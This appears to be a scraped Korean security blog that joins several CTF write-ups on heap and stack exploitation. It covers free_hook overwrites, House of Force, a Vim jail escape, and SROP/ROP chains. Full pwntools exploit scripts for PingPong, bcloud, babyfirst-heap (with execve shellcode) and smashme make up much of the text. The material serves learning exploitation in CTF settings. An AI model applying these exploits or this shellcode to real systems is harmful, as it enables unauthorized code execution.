포너블 풀다가 Full Relro가 걸려있어서 got overwrite를 할 수 없는 상황이였다.

검색 하다 보니 free_hook에 write가 가능해서 이 부분에 one-shot 가젯이나 system함수의 주소를 덮어쓰면 free()함수를 호출할 때 이 hook을 실행한다.

다시말해 one-shot가젯이나 system함수를 호출한다는 것이다.


 이 free_hook의 위치는 아래와 같이 찾을 수 있다.

p &__free_hook

이렇게 찾은 hook에 overwrite를 하게되면 free()함수를 호출하면 overwrite된 가젯을 실행시킨다.

Full Relro가 걸려있을 때 유용하게 사용할 수 있다.

ps. malloc_hook, realloc_hook도 사용가능하니 참고하자.


'HACKING > System hacking' 카테고리의 다른 글

remote socket exploit??  (0) 2019.02.03
memory cheat sheet  (0) 2019.01.17
ltrace로 main함수 심볼 찾기  (0) 2018.09.16
vim jail 문제  (0) 2018.09.08
gdb 멀티프로세스 디버깅  (0) 2018.08.27

ltrace ./binary 로 바이너리를 디버깅 하면서 아래와 같이 __libc_start_main부분에서 첫번째 인자에 main의 주소가 나온다.


int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));


ex)

첫번째 인자인 0x0804874d가 main의 주소다.

기존에는 다른 함수들에 bp를 걸어서 계단형식으로 main을 찾았는데 이제 이 방법으로 해야겠다.


Ref.http://paulo.tistory.com/78?category=654027

'HACKING > System hacking' 카테고리의 다른 글

memory cheat sheet  (0) 2019.01.17
free_hook으로 Full Relro 우회  (0) 2018.09.17
vim jail 문제  (0) 2018.09.08
gdb 멀티프로세스 디버깅  (0) 2018.08.27
The House of Force  (0) 2018.08.23
from pwn import *

def xor(val):
    lst = []
    for i in range(0, len(val), 2):
        lst.append("0x"+val[i:i+2])

    for i in range(len(lst)):
        if i == 1 or i == 3 or i == 5 or i == 7:
            lst[i] = hex(int(lst[i],16) ^ 0x20)

    for i in range(len(lst)):
        lst[i] = lst[i][2:]

    return int("".join(lst), 16)

if __name__ == "__main__":
	pwn_file = "./pingpong"
	libc_file = "./libc.so.6"

	pwn_elf = ELF(pwn_file)
	r = process(pwn_file)
	libc_elf = ELF(libc_file)
	free_hook_offset = libc_elf.symbols['__free_hook']
	system_offset = 0x380290 # stdout - system
	one_gadget_offset = 0x45216
	binsh_offset = 0x1479c7 # binsh - system
	pop_rdi_offset = 0x0002155f

	log.info("free_hook's offset = {}".format(hex(free_hook_offset)))

	r.sendlineafter("ping:", "A"*56)

	r.recvuntil("Aa"*28)
	libc_stdout = u64(r.recv()[:-1].ljust(8,"\x00"))
	libc_stdout = xor(hex(libc_stdout))
	log.info("libc_stdout = {}".format(hex(libc_stdout)))
	libc_system = libc_stdout - system_offset
	log.info("libc_system = {}".format(hex(libc_system)))
	libc_main = libc_system - 0x24b60
	log.info("libc_main = {}".format(hex(libc_main)))
	binsh = libc_system + binsh_offset
	log.info("/bin/sh = {}".format(hex(binsh)))
	free_hook = libc_system + 0x381418
	log.info("free_hook = {}".format(hex(free_hook)))

	one_gadget = libc_main + one_gadget_offset
	log.info("oneshot gadget = {}".format(hex(one_gadget)))

	payload = "A"*152
	payload += p64(free_hook-0x8)
	r.sendline(payload)
	payload = "/BiN/Sh\x20"
	payload += p64(libc_system)
	r.sendline(payload)
	r.interactive()

'CTF' 카테고리의 다른 글

TJCTF 2016 oneshot  (0) 2019.01.24
QIWICTF 2016 pwn200  (0) 2019.01.23
BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2014 Babyfirst heap  (0) 2018.08.16
Defcon 2017 smashme  (0) 2018.08.12

TokyoWesterns CTF 2018 Vimshell 문제다.

포스팅 하는 이유는 이 문제는 ":", "q" 등이 막혀있어서 일반적으론 vim을 빠져나오지 못하게 해놓았다.

하지만 풀 수 있는 명령이 있다.

Vim cheatsheet

여기서 보면 "K"를 입력하면 man page로 이동시켜준다. 이 man page에서 !/bin/bash를 입력하면 바로 쉘로 나올 수 있다.



'HACKING > System hacking' 카테고리의 다른 글

free_hook으로 Full Relro 우회  (0) 2018.09.17
ltrace로 main함수 심볼 찾기  (0) 2018.09.16
gdb 멀티프로세스 디버깅  (0) 2018.08.27
The House of Force  (0) 2018.08.23
파일 디스크립터  (0) 2018.08.04

house of force로 푸는 문제다.


풀다가 이상하게 익스가 안되길래 다른분의 코드를 참고했다.

exploit code

from pwn import *

r = process("./bcloud")
elf = ELF("./bcloud")

print r.recv()
r.send("A"*64)
r.recvuntil("A"*64)
chunk = u32(r.recv(4))

printf_plt = elf.plt['printf']
atoi_got = elf.got['atoi']
topchunk = chunk + 0xd8

house = atoi_got - topchunk - 8 - 4

log.info("exit_got = {}".format(hex(atoi_got)))
log.info("TOP chunk = {}".format(hex(topchunk)))
log.info("house of force = {}".format(hex(house)))


r.recvuntil("Now let's set synchronization options.")

print r.recvuntil("Org:")
r.send("B"*64)

print r.recvuntil("Host:")
r.sendline(p32(0xffffffff)*2)

r.recvuntil(">>")
r.sendline("1")
print r.recvuntil("Input the length of the note content:")
r.sendline(str(house))
print r.recvuntil(">>")
r.sendline("1")
print r.recvuntil("Input the length of the note content:")
r.sendline("8")
print r.recvuntil("Input the content:")
r.sendline("AAAA"+p32(printf_plt))
print r.recv(1024)
r.sendline("%p "*20)
print r.recvuntil("0x10 0xa ")

leaked_addr = int(r.recv(10), 16)
print hex(leaked_addr)
libc_base = leaked_addr - 0x49670 
system = libc_base + 0x3ada0

log.info("libc_base = {}".format(hex(libc_base)))
log.info("system = {}".format(hex(system)))

print r.recvuntil(">>")

r.sendline("333")
print r.recvuntil("id:")
r.sendline("1")
print r.recvuntil("content:")
r.send("AAAA"+p32(system))
print r.recv()
r.sendline("/bin/sh\x00")
r.interactive()


'CTF' 카테고리의 다른 글

QIWICTF 2016 pwn200  (0) 2019.01.23
SEC-T CTF PingPong  (0) 2018.09.16
Defcon 2014 Babyfirst heap  (0) 2018.08.16
Defcon 2017 smashme  (0) 2018.08.12
Plaid 2014 ezhp  (0) 2018.08.12

House of Force란 

Top chunk영역의 값을 덮어서 공격자가 원하는 위치에 값을 넣을 수 있는 기법이다.

우선 예시 코드다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void shell()
{
	system("/bin/sh");
}

int main(int argc, char *argv[])
{
	char *buf1, *buf2, *buf3;
	if (argc != 4) return;

	buf1 = malloc(256);
	strcpy(buf1, argv[1]);

	buf2 = malloc(strtoul(argv[2], NULL, 16));

	buf3 = malloc(256);
	strcpy(buf3, argv[3]);

	free(buf3);
	free(buf2);
	free(buf1);

	return 0;
}

이 코드에선 strcpy로 첫번째 메모리에서 top chunk의 사이즈를 0xffffffff로 덮어버리고 

두번째 malloc의 사이즈를 변조해서 세번째 malloc의 chunk를 원하는 주소로 할당시킬 수 있다.


참고한 사이트에 의하면 Top chunk 를 0xffffffff로 덮는 이유가 두번째 malloc에서 exploit을 가능케 하는 충분히 큰 malloc을 호출하기 위함이라고 한다는데 좀 이해가 안간다.. 계속 곱씹어보며 생각해봐야겠다..

우선 더미 top chunk를 덮었다.

그 다음은 malloc(argv[2])을 할텐데 여기서 공격자가 원하는 크기의 메모리를 할당 받을 수 있다.

우선 두번째 malloc()을 하게되면 0x0804b110부터 값이 들어가게 된다. 즉 만약 malloc(0x20)을 한다면 0x0804b110 + 0x20 = 0x804B130부터 메모리를 할당받는다는 소리다.

다시말해 이 곳의 사이즈에 들어갈 값은 공격자가 임의로 할당받기 원하는 주소의 값을 잘 계산해서 넣어야 한다는 말이다.

이 곳에 값을 넣기 위한 공식은

&target - &top_chunk - 0x8

이다.

왜 -0x8하는지는 top_chunk위치에서 prev_size와 size의 크기가 포함된것을 빼 준 것이다. (32비트에선 8을 빼주었고, 64비트에선 16을 빼준다.)

이 바이너리에서는 free@got에 새로운 메모리를 할당받아 보겠다.

그러면 공식에 대입해보면 free@got(0x804a00c) - top_chunk(0x0804b110) - 0x8 = 0xffffeef4가 나온다.

이제 이 값을 argv[2]에 넣으면 두번째 malloc(0xffffeef4)에서 free@got에 0xffffeef4만큼의 size로 메모리를 할당받게 된다.

그리고 세번째 malloc은 free@got-4에 할당된다. 이게 왜 이렇지??? 이해가 안된다...? 계산을 해봐도 이해가 안가네.. 이것도 계속 생각해봐야겠다.

그리고 이제 argv[3]에 넣은 8바이트의 뒤 4바이트가 free@got에 들어가게 될 것이다.

payload

r `python -c 'print "A"*260 + "\xff\xff\xff\xff"'` FFFFEEF4 `python -c 'print "CCCCDDDD"'`

free@got에서 터진 것을 보면 알 수 있다.


일단 어느정도 이해는 완료 했는데 아직 이해가 안가는 두 부분 때문에 계속 곱씹으면서 생각하면서 디버깅 해봐야겠다.


Ref.http://err0rless313.tistory.com/entry/The-House-of-Force-kor

Ref.https://www.lazenca.net/display/TEC/The+House+of+Force

'HACKING > System hacking' 카테고리의 다른 글

vim jail 문제  (0) 2018.09.08
gdb 멀티프로세스 디버깅  (0) 2018.08.27
파일 디스크립터  (0) 2018.08.04
리버스 쉘(nc via mkfifo)  (0) 2018.07.28
python의 pickle 모듈 취약점  (0) 2018.07.28

NX와 aslr만 되어있다.

문제 이름만 놓고 본다면 쉬울것 같으나 데프콘 문제여서 쫄은 상태로 풀기 시작했다.


힙문제는 아직 너무 어려워서 쉬운 문제를 찾다가 풀게 되었는데.. 푸는데 꽤 오래 걸렸다.

근데 풀고 나니 많이 쉬웠던 문제인것 같다.


ida와 gdb로 보면 커스텀 malloc과 free를 사용한다는 것을 알 수 있다.


이 문제는 우선 힙주소를 전부 출력을 해주기 때문에 따로 릭을 할 필요는 없었다.

그리고 사용자에게 입력받는 수는 4096바이트로 꽤나 많은 양의 바이트를 입력받는다.


먼저 내가 입력한 값이 어디에 들어가는지 확인을 해보았다.

memcpy에 bp를 걸고 확인을 해보았더니 size=260인 청크에 들어가게 된다.


다시말해 이 부분을 통해 오버플로우로 다음 청크를 덮어서 fake chunk를 만들면 got overwrite로 문제를 풀 수 있다.


exploit code

from pwn import *

r = process("./babyfirst-heap")
elf = ELF("./babyfirst-heap")

r.recvuntil("[size=755]")
r.recvuntil("loc=")

chunk = "0x"+ r.recv(7)
chunk = int(chunk,16)

log.info("chunk addr = {}".format(hex(chunk)))

puts_got = elf.got['puts']
jmp_code = "\xeb\x0c"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

payload = p32(puts_got-8)
payload += p32(chunk+0x24)
payload += "\x90"*30
payload += jmp_code
payload += "\x90"*191
payload += shellcode
payload += p32(0)
payload += p32(0x378)
payload += p32(0)*65
payload += p32(0x1000)

r.sendline(payload)
r.interactive()


'CTF' 카테고리의 다른 글

SEC-T CTF PingPong  (0) 2018.09.16
BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2017 smashme  (0) 2018.08.12
Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07

보호기법은 aslr외엔 없다.

헥스레이해보면 gets로 bof가 터지는 것을 알 수 있다.


그리고 gets한 변수의 첫 부분에 "Smash me outside, how bout dAAAAAAAAAAA" 문자열이 들어가야 한다.

우선 haystack변수의 위치는 rbp-0x40이므로 rbp+0x8까지 72바이트의 차이가 나므로 72바이트 후 오버플로우 하면 ret를 조작할 수 있다.


근데 이 바이너리는 정적 컴파일이 되어 있고 system, execve함수와 같이 쉘을 실행시킬 수 있는 함수가 없다.


따라서 syscall을 해서 문제를 풀었다.


srop 페이로드는 잘 정리된 문서에 pwntool을 이용하여 간단하게 작성하는 법이 적혀있어서 참고했다.

문서
from pwn import *

r = process("./smashme")
elf = ELF("./smashme")

read = elf.symbols['read']
write = elf.symbols['write']
bss = elf.bss()
pop_rax = 0x4c3b28
pop_rdi = 0x4014d6
pop_rsi = 0x4015f7 
pop_rdx = 0x441e46
pop_rcx = 0x490db3
cmd = "/bin/sh\x00"
syscall = 0x466815 

log.info("bss = {}".format(hex(bss)))

payload = "Smash me outside, how bout dAAAAAAAAAAA"
payload += "A"*33

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(4)
payload += p64(write)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(read)

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(write)

payload += p64(pop_rax)
payload += p64(0xf)
payload += p64(syscall)

frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = bss 
frame.rsp = syscall
frame.rip = syscall

payload += str(frame)

print r.recv()
r.sendline(payload)
print r.recv()
r.sendline(cmd)
print r.recv()
r.interactive()

Ref.https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64

'CTF' 카테고리의 다른 글

BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2014 Babyfirst heap  (0) 2018.08.16
Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01

+ Recent posts